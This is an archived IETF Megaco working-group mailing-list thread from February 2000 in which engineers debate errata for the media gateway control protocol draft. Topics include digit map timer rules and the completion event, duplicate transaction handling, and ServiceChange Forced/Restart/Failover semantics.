> bit more about the intent behind the "L", "S", and DOT symbols.  This leads
> to the following proposed additions to the errata list:
>
> A. Timer Rules (section 7.1.14)
> ---------------------------------------------
>
> Current rules regarding timer use:
>
> 1.      The start timer (T) is used prior to any digits having been dialed.
> 2.      If the Media Gateway can determine that at least one more digit is
> needed for a digit string to match any of the allowed patterns in the digit
> map, then the interdigit timer value should be set to a long (L) duration
> (e.g.-16 seconds).
> 3.      If the DigitMap specifies that a variable number of additional
> digits may be needed then the short timer (S) is used.
> The problem is with that third rule -- it is indistinguishable from the
> second one as it currently reads.  Here is a proposed alternative phrasing
> of the rule:
>
> "3.   If the digit string has matched one of the patterns in the digit map,
> but it is possible that more digits could be received which would cause a
> match with a different pattern, then instead of reporting the match
> immediately, the MG must apply the short timer (S) and wait for more
> digits."
>
> B. Digit Map Completion Event (currently in section E.6.2)
> ----------------------------------------------------------------------------
> -------
>
> We need a way to report a long duration tone match as part of a pattern.
> The simplest thing is to report the portion of the digit map which was
> matched, as a string of digit map symbols rather than tone IDs.  We can use
> tone IDs to report any extra digits collected.
>
> It is also useful for the MGC to know whether the report came from a match,
> a short timeout (match of an ambiguous pattern), or another timeout
> (permanent signal/partial dial).
>
> I therefore propose that the event be defined as follows:
>
> DigitMap Completion Event
> EventID: ce, 0x0001
> Raised when pattern match or timeout is detected on a digit map.
> EventsDescriptor parameters: none
> ObservedEventsDescriptor parameters:
>         DigitString
>                 ParameterID: ds (0x0001)
>                 Type: string of digit map symbols (possibly empty)
>                 Possible values: any sequence of the characters "0" through
> "9", "A" through "F", and the long duration modifier "L".
>                 Description: the actual sequence of observed events,
> represented by their corresponding digit map symbols, which matched part or
> all of a digit map string.
>         Extras
>                 ParameterID: ex (0x0002)
>                 Type:  list of toneIDs
>                 Possible values: any of the DTMF toneIDs defined in the
> table in section E.5.3
>                 Description: the sequence of tone events detected in the
> interval subsequent to completion of the (sub)string reported in DigitString
> and before initial, long, or short timer expiry as applicable.
>         Completion
>                 ParameterID: cm (0x0002)
>                 Type: enumeration
>                 Possible values: "M" (unambiguous match), "S" (short timer
> expiry), or "T" (initial or long timer expiry)
>
> C. Use Of DOT
> ----------------------
> Our ABNF mentions DOT as a possible digit map symbol.  I've learned that DOT
> was intended to stand for an arbitrary number of repetitions of the
> preceding symbol.  Thus the string "x.F" stands for an arbitrary number of
> digits between 0 and 9, terminated by the "#" sign (if DTMF is being used).
> Long timing would be used throughout after the first digit.  The string "x."
> would achieve the same purpose with short timing used after the first digit
> (rule 3 above), and a terminating "#" sign reported as an extra in the DTMF
> completion event described above.
>
> Disposition: add text to describe the use of DOT in the description of digit
> map symbols in 7.1.14.
>
> Tom Taylor
> Advisor -- Emerging Carrier IP Standards
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> Phone and FAX: +1 613 736 0961

--

oooooooooooooooooooooooooooooooooooooooooooooo
  Paul Hollis
  Ericsson Eurolab Deutschland GmbH
  Ericsson Allee 1
  D-52134 Herzogenrath
  Germany
  Phone: +49 2407 575 8092
  email: Paul.Hollis@ericsson.com.au
oooooooooooooooooooooooooooooooooooooooooooooo


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 09:55:04 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA29014
	for ; Fri, 4 Feb 2000 09:55:03 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8C4099B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 9:52:28 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23704 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 09:50:40 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.E6109D20@standards.nortelnetworks.com>; Fri, 4 Feb 2000 9:40:40
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA19599; Fri, 4 Feb
          2000 09:42:49 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA27108; Fri, 4 Feb
          2000 09:42:52 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTMGB>; Fri, 4 Feb 2000 09:39:36 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20888C@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 09:42:50 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

....snip......

> >v13 Status:     OPEN. No text changed.
> v14: SEMI-CLOSED. Draft text now specifies that "The transaction
> identifiers of incoming messages are compared to the transaction
> identifiers of the recent responses from the same entity",
> however "from"
> should be replaced with "to". Furthermore, "entity" should be
> clarified to
> specifically state that it is determined based on "mID".

I believe Chip is correct.

> >
> >Section:        D.1.1, second paragraph  Category:       Technical,
> >Editorial  Issue:          The draft text specifies that
> "The remaining
> >messages will be  compared to the list of current
> transactions. If a match
> >is found,  indicating a duplicate transaction, the entity
> does not execute
> >the  transaction, which is simply ignored". The above behaviour is
> >sub-optimal  and will lead to unnecessary retransmissions
> and adjustment
> >of  retransmission timers for subsequent transmissions. It is
> >furthermore  inconsistent with the description in Annex
> >D.1.4.  Proposal:       It is proposed that a "TransActionPending"
> >response is returned  instead.
> >
> >v13 Status:     OPEN. No text changed.
>
> v14: OPEN. No relevant text changed.
Same as the argument about immediate reply for a duplicate
request when a pend was lost; the timeout for a pend will
occur before a timeout from the duplicate request (or the final
response will be generated).  Sending another message immediately
just generates another message; it won't change behavior at the
requestor, since it must wait for it's timer to expire before sending
another duplicate and if it gets a pend, it will just reset it's
timer.  If the subsequent pend appears, the timer will be reset
short of its expiry.  If the pend is lost, the timer will expire
triggering another duplicate request, AS IT SHOULD.

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 10:50:47 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA00723
	for ; Fri, 4 Feb 2000 10:50:41 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.24740DF0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 10:46:50 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24010 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 10:45:19 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.ED1D2F30@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          10:45:17 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 15:29:33 +0000
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 08:41:20 -0600
Received: from zrchb213.us.nortel.com by zmers013; Fri, 4 Feb 2000 09:41:03
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TK6M5>; Fri, 4 Feb 2000 08:41:01 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F1D.DA35811C"
Message-ID:  
Date:         Fri, 4 Feb 2000 08:40:58 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: More Digit Map Fixes
X-To:         Paul Hollis 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F1D.DA35811C
Content-Type: text/plain;
        charset="iso-8859-1"

I'll check the text, but the intent is that if the current timer expires,
the accumulated digit string is reported via a completion event.  See the
one I defined for DTMF, in "Final Issue Score Card".

> -----Original Message-----
> From: Paul Hollis [SMTP:Paul.Hollis@ericsson.com.au]
> Sent: Friday, February 04, 2000 9:37 AM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]
> Cc:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: More Digit Map Fixes
>
> Hi Tom,
>
> I'm still a bit confused about how all these timers work! We define the
> timers,
> but have we defined what happens at timeout?
>
> Regards Paul.
>
>
> Tom-PT Taylor wrote:
>
> > I took a closer look at digit maps (section 7.1.14) as a result of a
> private
> > discussion and found an ambiguity in our current rules.  I also learned
> a
> > bit more about the intent behind the "L", "S", and DOT symbols.  This
> leads
> > to the following proposed additions to the errata list:
> >
> > A. Timer Rules (section 7.1.14)
> > ---------------------------------------------
> >
> > Current rules regarding timer use:
> >
> > 1.      The start timer (T) is used prior to any digits having been
> dialed.
> > 2.      If the Media Gateway can determine that at least one more digit
> is
> > needed for a digit string to match any of the allowed patterns in the
> digit
> > map, then the interdigit timer value should be set to a long (L)
> duration
> > (e.g.-16 seconds).
> > 3.      If the DigitMap specifies that a variable number of additional
> > digits may be needed then the short timer (S) is used.
> > The problem is with that third rule -- it is indistinguishable from the
> > second one as it currently reads.  Here is a proposed alternative
> phrasing
> > of the rule:
> >
> > "3.   If the digit string has matched one of the patterns in the digit
> map,
> > but it is possible that more digits could be received which would cause
> a
> > match with a different pattern, then instead of reporting the match
> > immediately, the MG must apply the short timer (S) and wait for more
> > digits."
> >
> > B. Digit Map Completion Event (currently in section E.6.2)
> >
> --------------------------------------------------------------------------
> --
> > -------
> >
> > We need a way to report a long duration tone match as part of a pattern.
> > The simplest thing is to report the portion of the digit map which was
> > matched, as a string of digit map symbols rather than tone IDs.  We can
> use
> > tone IDs to report any extra digits collected.
> >
> > It is also useful for the MGC to know whether the report came from a
> match,
> > a short timeout (match of an ambiguous pattern), or another timeout
> > (permanent signal/partial dial).
> >
> > I therefore propose that the event be defined as follows:
> >
> > DigitMap Completion Event
> > EventID: ce, 0x0001
> > Raised when pattern match or timeout is detected on a digit map.
> > EventsDescriptor parameters: none
> > ObservedEventsDescriptor parameters:
> >         DigitString
> >                 ParameterID: ds (0x0001)
> >                 Type: string of digit map symbols (possibly empty)
> >                 Possible values: any sequence of the characters "0"
> through
> > "9", "A" through "F", and the long duration modifier "L".
> >                 Description: the actual sequence of observed events,
> > represented by their corresponding digit map symbols, which matched part
> or
> > all of a digit map string.
> >         Extras
> >                 ParameterID: ex (0x0002)
> >                 Type:  list of toneIDs
> >                 Possible values: any of the DTMF toneIDs defined in the
> > table in section E.5.3
> >                 Description: the sequence of tone events detected in the
> > interval subsequent to completion of the (sub)string reported in
> DigitString
> > and before initial, long, or short timer expiry as applicable.
> >         Completion
> >                 ParameterID: cm (0x0002)
> >                 Type: enumeration
> >                 Possible values: "M" (unambiguous match), "S" (short
> timer
> > expiry), or "T" (initial or long timer expiry)
> >
> > C. Use Of DOT
> > ----------------------
> > Our ABNF mentions DOT as a possible digit map symbol.  I've learned that
> DOT
> > was intended to stand for an arbitrary number of repetitions of the
> > preceding symbol.  Thus the string "x.F" stands for an arbitrary number
> of
> > digits between 0 and 9, terminated by the "#" sign (if DTMF is being
> used).
> > Long timing would be used throughout after the first digit.  The string
> "x."
> > would achieve the same purpose with short timing used after the first
> digit
> > (rule 3 above), and a terminating "#" sign reported as an extra in the
> DTMF
> > completion event described above.
> >
> > Disposition: add text to describe the use of DOT in the description of
> digit
> > map symbols in 7.1.14.
> >
> > Tom Taylor
> > Advisor -- Emerging Carrier IP Standards
> > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> > Phone and FAX: +1 613 736 0961
>
> --
>
> oooooooooooooooooooooooooooooooooooooooooooooo
>   Paul Hollis
>   Ericsson Eurolab Deutschland GmbH
>   Ericsson Allee 1
>   D-52134 Herzogenrath
>   Germany
>   Phone: +49 2407 575 8092
>   email: Paul.Hollis@ericsson.com.au
> oooooooooooooooooooooooooooooooooooooooooooooo
>
>

------_=_NextPart_001_01BF6F1D.DA35811C
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: More Digit Map Fixes




I'll check the text, =
but the intent is that if the current timer expires, the accumulated =
digit string is reported via a completion event.  See the one I =
defined for DTMF, in "Final Issue Score Card".


    

    -----Original Message-----

    From:   Paul Hollis =
[SMTP:Paul.Hollis@ericsson.com.au]

    Sent:   Friday, February 04, 2000 9:37 AM

    To:     Taylor, Tom-PT [CAR:B904:EXCH]

    Cc:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: More Digit Map Fixes

    


    Hi Tom,

    


    I'm still a bit confused about how all =
these timers work! We define the timers,

    but have we defined what happens at =
timeout?

    


    Regards Paul.

    

    


    Tom-PT Taylor wrote:

    


    > I took a closer look at digit =
maps (section 7.1.14) as a result of a private

    > discussion and found an =
ambiguity in our current rules.  I also learned a

    > bit more about the intent behind =
the "L", "S", and DOT symbols.  This =
leads

    > to the following proposed =
additions to the errata list:

    >

    > A. Timer Rules (section =
7.1.14)

    > =
---------------------------------------------

    >

    > Current rules regarding timer =
use:

    >

    > 1.      =
The start timer (T) is used prior to any digits having been =
dialed.

    > 2.      =
If the Media Gateway can determine that at least one more digit =
is

    > needed for a digit string to =
match any of the allowed patterns in the digit

    > map, then the interdigit timer =
value should be set to a long (L) duration

    > (e.g.-16 seconds).

    > 3.      =
If the DigitMap specifies that a variable number of additional

    > digits may be needed then the =
short timer (S) is used.

    > The problem is with that third =
rule -- it is indistinguishable from the

    > second one as it currently =
reads.  Here is a proposed alternative phrasing

    > of the rule:

    >

    > "3.   If the =
digit string has matched one of the patterns in the digit map,

    > but it is possible that more =
digits could be received which would cause a

    > match with a different pattern, =
then instead of reporting the match

    > immediately, the MG must apply =
the short timer (S) and wait for more

    > digits."

    >

    > B. Digit Map Completion Event =
(currently in section E.6.2)

    > =
------------------------------------------------------------------------=
----

    > -------

    >

    > We need a way to report a long =
duration tone match as part of a pattern.

    > The simplest thing is to report =
the portion of the digit map which was

    > matched, as a string of digit =
map symbols rather than tone IDs.  We can use

    > tone IDs to report any extra =
digits collected.

    >

    > It is also useful for the MGC to =
know whether the report came from a match,

    > a short timeout (match of an =
ambiguous pattern), or another timeout

    > (permanent signal/partial =
dial).

    >

    > I therefore propose that the =
event be defined as follows:

    >

    > DigitMap Completion Event

    > EventID: ce, 0x0001

    > Raised when pattern match or =
timeout is detected on a digit map.

    > EventsDescriptor parameters: =
none

    > ObservedEventsDescriptor =
parameters:

    >         =
DigitString

    >         =
;        ParameterID: ds =
(0x0001)

    >         =
;        Type: string of digit map =
symbols (possibly empty)

    >         =
;        Possible values: any =
sequence of the characters "0" through

    > "9", "A" =
through "F", and the long duration modifier =
"L".

    >         =
;        Description: the actual =
sequence of observed events,

    > represented by their =
corresponding digit map symbols, which matched part or

    > all of a digit map =
string.

    >         =
Extras

    >         =
;        ParameterID: ex =
(0x0002)

    >         =
;        Type:  list of =
toneIDs

    >         =
;        Possible values: any of the =
DTMF toneIDs defined in the

    > table in section E.5.3

    >         =
;        Description: the sequence =
of tone events detected in the

    > interval subsequent to =
completion of the (sub)string reported in DigitString

    > and before initial, long, or =
short timer expiry as applicable.

    >         =
Completion

    >         =
;        ParameterID: cm =
(0x0002)

    >         =
;        Type: enumeration

    >         =
;        Possible values: =
"M" (unambiguous match), "S" (short timer

    > expiry), or "T" =
(initial or long timer expiry)

    >

    > C. Use Of DOT

    > ----------------------

    > Our ABNF mentions DOT as a =
possible digit map symbol.  I've learned that DOT

    > was intended to stand for an =
arbitrary number of repetitions of the

    > preceding symbol.  Thus the =
string "x.F" stands for an arbitrary number of

    > digits between 0 and 9, =
terminated by the "#" sign (if DTMF is being used).

    > Long timing would be used =
throughout after the first digit.  The string =
"x."

    > would achieve the same purpose =
with short timing used after the first digit

    > (rule 3 above), and a =
terminating "#" sign reported as an extra in the DTMF

    > completion event described =
above.

    >

    > Disposition: add text to =
describe the use of DOT in the description of digit

    > map symbols in 7.1.14.

    >

    > Tom Taylor

    > Advisor -- Emerging Carrier IP =
Standards

    > E-mail: =
taylor@nortelnetworks.com (internally, Tom-PT Taylor)

    > Phone and FAX: +1 613 736 =
0961

    


    --

    


    oooooooooooooooooooooooooooooooooooooooooooooo

      Paul Hollis

      Ericsson Eurolab Deutschland =
GmbH

      Ericsson Allee 1

      D-52134 Herzogenrath

      Germany

      Phone: +49 2407 575 =
8092

      email: =
Paul.Hollis@ericsson.com.au

    oooooooooooooooooooooooooooooooooooooooooooooo

    

    




------_=_NextPart_001_01BF6F1D.DA35811C--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 11:05:21 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA01202
	for ; Fri, 4 Feb 2000 11:05:21 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B0085D70@standards.nortelnetworks.com>; Fri, 4 Feb 2000 10:57:54 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24015 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 10:56:28 -0500
Received: from mtiwmhc03.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.16C34360@standards.nortelnetworks.com>; Fri, 4 Feb 2000 10:46:27
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc03.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204154829.UWCU2478@worldnet.att.net>; Fri, 4 Feb 2000 15:48:29
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF20888B@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389AF507.DC0D85A3@worldnet.att.net>
Date:         Fri, 4 Feb 2000 10:49:27 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Service Change
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi Brian

Some comments below.

Regards

        Flemming Andreasen


"Rosen, Brian" wrote:

> Comments below
>
> > -----Original Message-----
> > From: Chip Sharp [mailto:chsharp@cisco.com]
> > Sent: Friday, February 04, 2000 12:08 AM
> > To: MEGACO@standards.nortelnetworks.com
> > Subject: Re: Cisco SG16: Service Change
> >
> >
> > At 08:51 PM 2/2/00 -0600, Tom-PT Taylor wrote:
> > >
> > >
> > >Comments below.
> > >-----Original Message-----  From:  Chip Sharp
> > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:55
> > >PM  [[TomT]]  snip
> > OK. Added the snipped stuff with updated status for
> > completeness. Also note
> > a couple of new issues here:
> >
> > Section:         7.2.8 (ServiceChange), numbered list items
> > two and three
> > Category:     Technical
> > Issue no.:     13.12
> > Issue:          The draft text has made significant changes to the
> > semantics of the "Forced" and "Restart" ServiceChangeMethod
> > since the Red
> > Bank meeting. The old semantics guaranteed that the MG (or rather the
> > affected terminations) would be in a known state following either a
> > "Forced" or "Restart" ServiceChange. However the new
> > semantics specified
> > leaves the MG in an undefined state forcing the MGC to audit
> > the MG to
> > figure out what to do whenever it receives a "Forced" or "Restart"
> > ServiceChange (consider the case where the primary MGC receives the
> > "Forced" ServiceChange and the secondary (or another) MGC receives a
> > subsequent "Restart" ServiceChange
> > Proposal:     It is strongly suggested that the MG (or affected
> > terminations) will be in a known state when a "Forced" or "Restart"
> > ServiceChange is issued. Consequently, the text should be
> > brought back in
> > line with the outcome of the Red Bank meeting.
> > Status:
> >      v14: OPEN. No relevant text changed.
> There has not been, to my knowledge, any change to forced and restart
> which alters the state of the terminations since Red Bank.
>

Actually, there has. v13 made some changes from v12 in this area. In v12,
"forced" would had an effect similar to subtract on the affected
termination, where as in v13, all of a sudden it's the MGC responsibility
to figure out what the state of the MG is. Similarly, "restart" in v12
implied the affected terminations were not associated with any Context
(except for the NULL context presumably), where as v13 does not. Again, the
MGC will now have to figure out what state the MG is in when it receives a
"restart", 'cause it can't make any assumptions whatsoever.

>
> If you cold-start an MG, it will come up in a known state, and
> Restart to it's MGC, primary or secondary.  I think we can all
> agree it does this.

Yep, but what about warm-start ?

>

> If the MG itself FORCES terminations out of service, then the MGC
> has to do the subtract.  There is no ambiguity of state.  No
> secondary MGC is involved.
>
> If the MGC FORCES terminations out of service, it must do the
> subtract also, and there is no ambiguity of state.  No secondary
> MGC is involved.
>
> Somehow, your problem statement gets into a Handoff, or Failover
> case, where, for some reason, you posit a working primary MGC
> getting one message, and a working secondary MGC getting another one.
> On a failure of an MG, there is no change of MGC, so the restart
> looks like an initial registration, and all the terminations
> should be in a known state.

Yes, they should, and that's the point. When you get a "restart", you know
you are in well-known *clean* state.


>
> On an MG initiated failover, the MG registers with the secondary
> with Failover, not Restart.  The MGC could send Forced to
> the primary, but the MG is considering it dead, and probably
> wouldn't do it.  At any rate, failover DOES require an audit
> by the secondary MGC as it should.

Ah yes, but what happens when the MG sends "forced" to the MGC (MGC-A), and
a little later it tries to register with MGC-A who meanwhile crashed.
Consequently, MG goes through it's list of secondaries and finds MGC-B. Are
you saying it no longer uses "restart" but "failover" ?

Regardless of what the answer is, it seems like there is a need for a state
transition diagram for the MG and MGC in the text somewhere. It is not
exactly clear what all these rules add up to, and there's clearly some
underlying logic expected.

As for requiring an audit after failover, that seems rather strange to me.
Since failover supposedly is transparent (don't loose any messages, right
?) why would you need that ? You can of course recommend it as good MGC
practice if you think you don't have transparent failover, but I thought
that was the intent of "disconnected".

>
>
> On an MGC initiated failover, you use Handoff.  Again, the MGC knows
> what the state is, but the secondary doesn't.  It must Audit, but
> that is as it should be.

Maybe it does, maybe it doesn't. That's MGC internals, right ?

>
>
> There are no other cases of Forced or Restart that I know about.
>
> > Section:         7.2.8 (ServiceChange), numbered item six
> > Category:     Editorial/Technial
> > Issue no.:     14.7
> > Issue:          The draft text for "Failover" specifies that
> > "..., and sent
> > from MG to (new) MGC in response to the MG having received a
> > ServiceChange
> > with ServiceChangeMethod equal to Handoff". It would seem to be more
> > consistent if the MG sent a "Handoff" rather than a
> > "Failover" to the (new)
> > MGC in response to a handoff from the old MGC.
> > Proposal:     It is proposed, that above text segment is
> > moved from the
> > "Failover" method to the "Handoff" method.
> > Status:
> I'm okay with this, although I think it's a nit
>
> >
> > Section:         7.2.8 (ServiceChange), fifth last paragraph
> > Category:     Technical, Editorial
> > Issue no.:     14.8
> > Issue:          The draft text specifies that "The MGC shall use this
> > Addres, if specified, in its response to the ServiceChange
> > command and any
> > subequent commands and responses" and "The MG shall use this
> > address for
> > any subsequent communication with the MGC". While it makes
> > sense to require
> > commands to be sent to this address, it is generally not a
> > good idea to
> > require this for responses, e.g. for clustered systems. Furthermore,
> > Section 9 (Transport) also specifies that "Responses to
> > commands are sent
> > back to the source address of the commands"
> > Proposal:     It is strongly recommended, that commands will
> > be sent to the
> > address specified while responses will always be sent to the
> > source address
> > they came from.
> > Status:
> I agree with this.  The text is inconsistant, so something needs
> to be changed.  Chip's proposal seems the most reasonable way
> to resolve it
>
> >
> > Section:         7.2.8 (ServiceChange), third last paragraph
> > Category:     Editorial
> > Issue no.:     12.25
> > Issue:          The draft text specifies that "The
> > ServiceChangeMethod
> > shall be "forced" for this usage". This is inconsistent with the
> > description in Section 11.2  which specified a ServiceChangeMethod of
> > "Restart".
> > Proposal:     It is recommended that the above text be
> > modified to use a
> > ServiceChangeMethod of "Restart" instead.
> > Status:
> >      v13: CLOSED. Text has been modified.
> >
> >
> > Section:     7.2.8 (ServiceChange), last bullet list
> > Category:     Technical
> > Issue no.:     13.13
> > Issue:          The draft text specifies that "Profile required if
> > terminationID is not ROOT, optional otherwise". However there
> > may not be a
> > profile, in which case it makes little sense to require it.
> > Secondly, it
> > would seem to make more sense to require a profile when the
> > terminationID
> > in fact is ROOT as that would be the initial registration.
> > Proposal:     It is proposed, that the text is changed in
> > accordance with
> > above.
> > Status:
> >      v14: OPEN. No relevant text changed.
> How about: Profile is Required if the termination ID is ROOT,
> and the entity supports a profile, optional otherwise.
>
> I agree the text is wrong, and some change is required.
>
> >
> > >
> > >
> > >Section:        11.2  Category:       Technical  Issue:
> >     When a
> > >gateway starts, it generates a restart ServiceChange  to the
> > MGC. If the
> > >MGC's response to the ServiceChange is lost while a  later
> > command is
> > >received by the gateway, how this command is handled is  not
> > specified in
> > >the draft text.  Proposal:       It is recommended that the
> > gateway will
> > >return an error.
> > >
> > >v13 Status:     OPEN. No text changed.
> > >
> > >[[TomT]]  Agreed in principle.  This triggered thoughts of flooding
> > >attacks where the attacker masquerades as the MGC which it
> > is indirectly
> > >trying to flood with error messages.  I suppose we're OK so long as
> > >authentication failures are discarded silently.  Anyway, I'll add a
> > >"clarification" to section 8.3 stating that the MG should
> > respond with an
> > >error to authenticated messages from MGCs with which the MG is not
> > >currently associated.   It's not quite so simple for MGCs receiving
> > >messages from strangers -- I guess the MGC has to look
> > inside to determine
> > >whether to accept them.
> > v14: CLOSED. An error will be returned
> > >
> > >
> > >Section:        11.2  Category:       Technical  Issue:
> >     The draft
> > >text specifies that "If the MGC accepts the MG,  it will send a
> > >Transaction Accept, with the MGCIdToTry set to itself. If
> > the MG receives
> > >an MGCIDToTry not equal to the MGC it contacted, it send a
> > ServiceChange
> > >to the MGC specified in the MGCIdToTry". It is inconsistent
> > to on one
> > >hand accept the transaction as successful, yet on the other
> > hand  require
> > >the MG to examine the MGCIdToTry returned to determine if
> > >the  registration really was successful or not. Examination of the
> > >syntax  reveals that this is part of a larger problem where
> > >unsuccessful  transactions, actions and commands are not
> > able to return
> > >any other  information than an ErrorDescriptor which can
> > only contain an
> > >error code  and text.  Proposal:       It is recommended
> > that the above
> > >procedure is replaced by  return of an error code and
> > another MGCIdToTry
> > >if the registration did not  complete. Furthermore, it is
> > recommended that
> > >ErrorDescriptors are extended  to allow return of other information
> > >(essentially CommandReply) than only  an error code and text.
> > >
> > >v13 Status:     OPEN. No text changed  [[TomT]]  As I see
> > it, redirection
> > >is different from a transaction error.  The MGC processed
> > the command
> > >successfully, and the response contains useful information.
> > An error
> > >should be thought of as a situation where the responder
> > reached a dead end
> > >when it tried to comply with the request.  In general
> > recovery from an
> > >error is pretty basic: kill the call.  In special cases the
> > error code and
> > >context should give enough information for recovery.
> > Not really. Think of SIP, HTTP, MGCP, etc. There are numerous
> > return codes
> > that have nothing to do with "errors" per se. In reality,
> > these "error
> > codes" are really "return codes" and maybe that's where the
> > confusion arises.
> I'm with Tom on this one, and I'll further point out you can't do
> what Chip proposes since if you get an Error descriptor, you
> won't get the Service descriptor with the MgcIdToTry!

Yes, and as pointed out above, that's a fundamental problem that seems to
have no motivation and certainly not be in line with current experience and
practice.

>
>
> > Support NetAid!  http://www.netaid.org
> > --------------------------------------------------
> > Chip Sharp                 Consulting Engineering
> > Cisco Systems              Telco Bio-region
> > Reality - Love it or Leave it.
> > --------------------------------------------------
>
> Brian
> ------------
> Brian Rosen, Principal Engineer
> Marconi (Formerly FORE Systems)
> 1000 FORE Drive, Warrendale, PA 15086
> (724) 742-6826  mailto:brosen@eng.fore.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 11:05:22 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA01204
	for ; Fri, 4 Feb 2000 11:05:21 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B11364D0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 10:57:56 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24076 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 10:57:38 -0500
Received: from mtiwmhc03.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.A6709D90@standards.nortelnetworks.com>; Fri, 4 Feb 2000 10:57:38
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc03.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204155945.VBDD2478@worldnet.att.net>; Fri, 4 Feb 2000 15:59:45
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF20888C@whq-msgusr-02.fore.com>
Content-Type: multipart/alternative;
              boundary="------------3DCA193441BC1D638ACFDE18"
